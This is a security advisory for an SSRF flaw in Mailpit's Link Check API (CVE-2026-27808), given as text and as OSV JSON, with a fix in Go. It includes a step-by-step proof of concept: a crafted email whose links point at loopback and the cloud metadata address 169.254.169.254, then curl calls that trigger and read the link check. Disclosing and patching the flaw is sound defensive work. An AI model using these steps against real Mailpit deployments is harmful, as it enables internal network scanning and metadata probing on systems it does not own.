GHSA-MPF7-P9X7-96R3
Vulnerability from github – Published: 2026-02-26 15:18 – Updated: 2026-02-26 15:18
VLAI?
Summary
Mailpit is Vulnerable to Server-Side Request Forgery (SSRF) via Link Check API
Details
Summary
The Link Check API (/api/v1/message/{ID}/link-check) is vulnerable to Server-Side Request Forgery (SSRF). The server performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. The response returns status codes and status text per link, making this a non-blind SSRF. In the default configuration (no authentication on SMTP or API), this is fully exploitable remotely with zero user interaction.
This is the same class of vulnerability that was fixed in the HTML Check API (CVE-2026-23845 / GHSA-6jxm-fv7w-rw5j) and the screenshot proxy (CVE-2026-21859 / GHSA-8v65-47jx-7mfr), but the Link Check code path was not included in either fix.
Details
The doHead() function in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L59-L98 creates a plain http.Transport{} and http.Client with no DialContext hook or IP validation:
func doHead(link string, followRedirects bool) (int, error) {
timeout := time.Duration(10 * time.Second)
tr := &http.Transport{}
// ...
client := http.Client{
Timeout: timeout,
Transport: tr,
// ...
}
req, err := http.NewRequest("HEAD", link, nil)
// ...
res, err := client.Do(req) // No IP validation — requests any URL
return res.StatusCode, nil
}
The call chain is:
- GET /api/v1/message/{ID}/link-check hits LinkCheck() in https://github.com/axllent/mailpit/blob/v1.29.0/server/apiv1/other.go#L84
- Which calls linkcheck.RunTests() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/main.go#L16
- Which extracts all URLs from the email's HTML (,
, ) and text body, then passes them to getHTTPStatuses() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L14
- Which spawns goroutines calling doHead() for each URL with no filtering
There is no check anywhere in this path to block requests to loopback (127.0.0.0/8), private (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local (169.254.0.0/16), or IPv6 equivalents (::1, fc00::/7, fe80::/10).
PoC
Prerequisites: Mailpit running with default settings (no auth flags). A listener on 127.0.0.1:8081 simulating an internal service.
Step 1 — Start a listener to prove the SSRF:
python3 -m http.server 8081 --bind 127.0.0.1
Step 2 — Send a crafted email via SMTP:
swaks --to recipient@example.com \
--from attacker@example.com \
--server localhost:1025 \
--header "Content-Type: text/html" \
--body '<html><body><a href="http://127.0.0.1:8081/ssrf-proof">click</a><a
href="http://169.254.169.254/latest/meta-data/">metadata</a></body></html>'
Step 3 — Get the message ID:
curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID'
Or use the shorthand ID latest.
Step 4 — Trigger the link check:
curl -s http://localhost:8025/api/v1/message/latest/link-check | jq .
Expected result:
- The Python HTTP server on port 8081 logs a HEAD /ssrf-proof request from Mailpit.
- The API response contains the status code and status text for each internal target:
{
"Errors": 0,
"Links": [
{"URL": "http://127.0.0.1:8081/ssrf-proof", "StatusCode": 200, "Status": "OK"},
{"URL": "http://169.254.169.254/latest/meta-data/", "StatusCode": 200, "Status": "OK"}
]
}
-- This behavior can be identified by creating a email txt file as
cat email.txt >
From: sender@example.com
To: recipient@example.com
Subject: Email Subject
This is the body of the email.
It can contain multiple lines of text.
http://localhost:8408
-
Start a Python server on port 8408
-
execute the command
mailpit sendmail < email.txt -
Observe a request to your python server and link status on the UI as OK
The attacker now knows both internal services are reachable and gets their exact HTTP status codes, this allows internal port scanning
Impact
Who is impacted: Any Mailpit deployment where an attacker can both send email (SMTP) and access the API. This includes the default configuration, which binds both services to all interfaces with no authentication.
What an attacker can do:
- Internal network scanning — Enumerate hosts and open ports on the internal network by reading status codes and error messages (connection refused vs. timeout vs. 200 OK).
- Cloud metadata access — Reach cloud provider metadata endpoints (169.254.169.254) and infer sensitive information from response codes.
- Service fingerprinting — Identify what services run on internal hosts from their HTTP status codes and response behavior.
- Bypass network segmentation — Use the Mailpit server's network position to reach hosts that are not directly accessible to the attacker.
This is a non-blind SSRF: the attacker gets direct, structured feedback (status code + status text) for every URL, making exploitation straightforward without any timing or side-channel inference.
Remediation
Then standard Go library can be used to identify a local address being requested and deny it.
func isBlockedIP(ip net.IP) bool {
return ip.IsLoopback() ||
ip.IsPrivate() ||
ip.IsLinkLocalUnicast() ||
ip.IsLinkLocalMulticast() ||
ip.IsUnspecified() ||
ip.IsMulticast()
}
- IsLoopback() — 127.0.0.0/8, ::1
- IsPrivate() — 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7
- IsLinkLocalUnicast() — 169.254.0.0/16, fe80::/10 (covers cloud metadata 169.254.169.254)
- IsLinkLocalMulticast() — 224.0.0.0/24, ff02::/16
- IsUnspecified() — 0.0.0.0, ::
- IsMulticast() — 224.0.0.0/4, ff00::/8
And the safe dialer that uses it:
func safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) {
return func(ctx context.Context, network, address string) (net.Conn, error) {
host, port, err := net.SplitHostPort(address)
if err != nil {
return nil, err
}
ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
if err != nil {
return nil, err
}
for _, ip := range ips {
if isBlockedIP(ip.IP) {
return nil, fmt.Errorf("blocked request to private/reserved address: %s (%s)", host, ip.
}
}
return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))
}
}
Then the doHead() change — replace the bare transport with one that uses the safe dialer, and re-validate URLs on redirect hops:
func doHead(link string, followRedirects bool) (int, error) {
if !isValidLinkURL(link) {
return 0, fmt.Errorf("invalid URL: %s", link)
}
dialer := &net.Dialer{
Timeout: 5 * time.Second,
KeepAlive: 30 * time.Second,
}
tr := &http.Transport{
DialContext: safeDialContext(dialer),
}
if config.AllowUntrustedTLS {
tr.TLSClientConfig = &tls.Config{InsecureSkipVerify: true} // #nosec
}
client := http.Client{
Timeout: 10 * time.Second,
Transport: tr,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return errors.New("too many redirects")
}
if !followRedirects {
return http.ErrUseLastResponse
}
if !isValidLinkURL(req.URL.String()) {
return fmt.Errorf("blocked redirect to invalid URL: %s", req.URL)
}
return nil
},
}
req, err := http.NewRequest("HEAD", link, nil)
if err != nil {
logger.Log().Errorf("[link-check] %s", err.Error())
return 0, err
}
req.Header.Set("User-Agent", "Mailpit/"+config.Version)
res, err := client.Do(req)
if err != nil {
if res != nil {
return res.StatusCode, err
}
return 0, err
}
return res.StatusCode, nil
}
func isValidLinkURL(str string) bool {
u, err := url.Parse(str)
return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Hostname() != ""
}
This fix should mitigate the reported SSRF.
Severity ?
5.8 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.29.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/axllent/mailpit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27808"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T15:18:46Z",
"nvd_published_at": "2026-02-26T00:16:26Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe Link Check API (/api/v1/message/{ID}/link-check) is vulnerable to Server-Side Request Forgery (SSRF). The server performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. The response returns status codes and status text per link, making this a non-blind SSRF. In the default configuration (no authentication on SMTP or API), this is fully exploitable remotely with zero user interaction.\n\nThis is the same class of vulnerability that was fixed in the HTML Check API (CVE-2026-23845 / GHSA-6jxm-fv7w-rw5j) and the\nscreenshot proxy (CVE-2026-21859 / GHSA-8v65-47jx-7mfr), but the Link Check code path was not included in either fix.\n\n### Details\nThe doHead() function in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L59-L98 creates a plain http.Transport{} and http.Client with no DialContext hook or IP validation:\n\n```\n func doHead(link string, followRedirects bool) (int, error) {\n timeout := time.Duration(10 * time.Second)\n tr := \u0026http.Transport{}\n // ...\n client := http.Client{\n Timeout: timeout,\n Transport: tr,\n // ...\n }\n req, err := http.NewRequest(\"HEAD\", link, nil)\n // ...\n res, err := client.Do(req) // No IP validation \u2014 requests any URL\n return res.StatusCode, nil\n }\n```\n\n The call chain is:\n\n 1. GET /api/v1/message/{ID}/link-check hits LinkCheck() in\n https://github.com/axllent/mailpit/blob/v1.29.0/server/apiv1/other.go#L84\n 2. Which calls linkcheck.RunTests() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/main.go#L16\n 3. Which extracts all URLs from the email\u0027s HTML (\u003ca href\u003e, \u003cimg src\u003e, \u003clink href\u003e) and text body, then passes them to\n getHTTPStatuses() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L14\n 4. Which spawns goroutines calling doHead() for each URL with no filtering\n\n There is no check anywhere in this path to block requests to loopback (127.0.0.0/8), private (10.0.0.0/8, 172.16.0.0/12,\n 192.168.0.0/16), link-local (169.254.0.0/16), or IPv6 equivalents (::1, fc00::/7, fe80::/10).\n \n### PoC\nPrerequisites: Mailpit running with default settings (no auth flags). A listener on 127.0.0.1:8081 simulating an internal service.\n\n Step 1 \u2014 Start a listener to prove the SSRF:\n\n` python3 -m http.server 8081 --bind 127.0.0.1\n`\n\n Step 2 \u2014 Send a crafted email via SMTP:\n\n```\n swaks --to recipient@example.com \\\n --from attacker@example.com \\\n --server localhost:1025 \\\n --header \"Content-Type: text/html\" \\\n --body \u0027\u003chtml\u003e\u003cbody\u003e\u003ca href=\"http://127.0.0.1:8081/ssrf-proof\"\u003eclick\u003c/a\u003e\u003ca\n href=\"http://169.254.169.254/latest/meta-data/\"\u003emetadata\u003c/a\u003e\u003c/body\u003e\u003c/html\u003e\u0027\n```\n\n Step 3 \u2014 Get the message ID:\n\n` curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r \u0027.messages[0].ID\u0027\n`\n Or use the shorthand ID latest.\n\nStep 4 \u2014 Trigger the link check:\n\n` curl -s http://localhost:8025/api/v1/message/latest/link-check | jq .\n`\n \nExpected result:\n\n - The Python HTTP server on port 8081 logs a HEAD /ssrf-proof request from Mailpit.\n - The API response contains the status code and status text for each internal target:\n\n```\n {\n \"Errors\": 0,\n \"Links\": [\n {\"URL\": \"http://127.0.0.1:8081/ssrf-proof\", \"StatusCode\": 200, \"Status\": \"OK\"},\n {\"URL\": \"http://169.254.169.254/latest/meta-data/\", \"StatusCode\": 200, \"Status\": \"OK\"}\n ]\n }\n```\n\n\n-- This behavior can be identified by creating a email txt file as \n\n```\ncat email.txt \u003e \nFrom: sender@example.com\nTo: recipient@example.com\nSubject: Email Subject\n\nThis is the body of the email.\nIt can contain multiple lines of text.\nhttp://localhost:8408\n```\n\n- Start a Python server on port 8408\n\n- execute the command `mailpit sendmail \u003c email.txt ` \n\n- Observe a request to your python server and link status on the UI as OK\n\n\n The attacker now knows both internal services are reachable and gets their exact HTTP status codes, this allows internal port scanning\n\n### Impact\nWho is impacted: Any Mailpit deployment where an attacker can both send email (SMTP) and access the API. This includes the default configuration, which binds both services to all interfaces with no authentication.\n\n What an attacker can do:\n\n - Internal network scanning \u2014 Enumerate hosts and open ports on the internal network by reading status codes and error messages\n (connection refused vs. timeout vs. 200 OK).\n - Cloud metadata access \u2014 Reach cloud provider metadata endpoints (169.254.169.254) and infer sensitive information from response codes.\n - Service fingerprinting \u2014 Identify what services run on internal hosts from their HTTP status codes and response behavior.\n - Bypass network segmentation \u2014 Use the Mailpit server\u0027s network position to reach hosts that are not directly accessible to the attacker.\n\n This is a non-blind SSRF: the attacker gets direct, structured feedback (status code + status text) for every URL, making\n exploitation straightforward without any timing or side-channel inference.\n\n### Remediation\nThen standard Go library can be used to identify a local address being requested and deny it. \n\n```\nfunc isBlockedIP(ip net.IP) bool {\n return ip.IsLoopback() ||\n ip.IsPrivate() ||\n ip.IsLinkLocalUnicast() ||\n ip.IsLinkLocalMulticast() ||\n ip.IsUnspecified() ||\n ip.IsMulticast()\n }\n\n - IsLoopback() \u2014 127.0.0.0/8, ::1\n - IsPrivate() \u2014 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7\n - IsLinkLocalUnicast() \u2014 169.254.0.0/16, fe80::/10 (covers cloud metadata 169.254.169.254)\n - IsLinkLocalMulticast() \u2014 224.0.0.0/24, ff02::/16\n - IsUnspecified() \u2014 0.0.0.0, ::\n - IsMulticast() \u2014 224.0.0.0/4, ff00::/8\n```\n\n And the safe dialer that uses it:\n\n``` \n func safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) {\n return func(ctx context.Context, network, address string) (net.Conn, error) {\n host, port, err := net.SplitHostPort(address)\n if err != nil {\n return nil, err\n }\n\n ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)\n if err != nil {\n return nil, err\n }\n\n for _, ip := range ips {\n if isBlockedIP(ip.IP) {\n return nil, fmt.Errorf(\"blocked request to private/reserved address: %s (%s)\", host, ip.\n }\n }\n\n return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))\n }\n }\n```\n\n Then the doHead() change \u2014 replace the bare transport with one that uses the safe dialer, and re-validate URLs on\n redirect hops:\n\n```\n func doHead(link string, followRedirects bool) (int, error) {\n if !isValidLinkURL(link) {\n return 0, fmt.Errorf(\"invalid URL: %s\", link)\n }\n\n dialer := \u0026net.Dialer{\n Timeout: 5 * time.Second,\n KeepAlive: 30 * time.Second,\n }\n\n tr := \u0026http.Transport{\n DialContext: safeDialContext(dialer),\n }\n\n if config.AllowUntrustedTLS {\n tr.TLSClientConfig = \u0026tls.Config{InsecureSkipVerify: true} // #nosec\n }\n\n client := http.Client{\n Timeout: 10 * time.Second,\n Transport: tr,\n CheckRedirect: func(req *http.Request, via []*http.Request) error {\n if len(via) \u003e= 3 {\n return errors.New(\"too many redirects\")\n }\n if !followRedirects {\n return http.ErrUseLastResponse\n }\n if !isValidLinkURL(req.URL.String()) {\n return fmt.Errorf(\"blocked redirect to invalid URL: %s\", req.URL)\n }\n return nil\n },\n }\n\n req, err := http.NewRequest(\"HEAD\", link, nil)\n if err != nil {\n logger.Log().Errorf(\"[link-check] %s\", err.Error())\n return 0, err\n }\n\n req.Header.Set(\"User-Agent\", \"Mailpit/\"+config.Version)\n\n res, err := client.Do(req)\n if err != nil {\n if res != nil {\n return res.StatusCode, err\n }\n return 0, err\n }\n\n return res.StatusCode, nil\n }\n\n func isValidLinkURL(str string) bool {\n u, err := url.Parse(str)\n return err == nil \u0026\u0026 (u.Scheme == \"http\" || u.Scheme == \"https\") \u0026\u0026 u.Hostname() != \"\"\n }\n\n```\nThis fix should mitigate the reported SSRF.",
"id": "GHSA-mpf7-p9x7-96r3",
"modified": "2026-02-26T15:18:46Z",
"published": "2026-02-26T15:18:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-mpf7-p9x7-96r3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27808"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/commit/10ad4df8cc0cd9e51dea1b4410009545eef7fbf5"
},
{
"type": "PACKAGE",
"url": "https://github.com/axllent/mailpit"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/releases/tag/v1.29.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mailpit is Vulnerable to Server-Side Request Forgery (SSRF) via Link Check API"
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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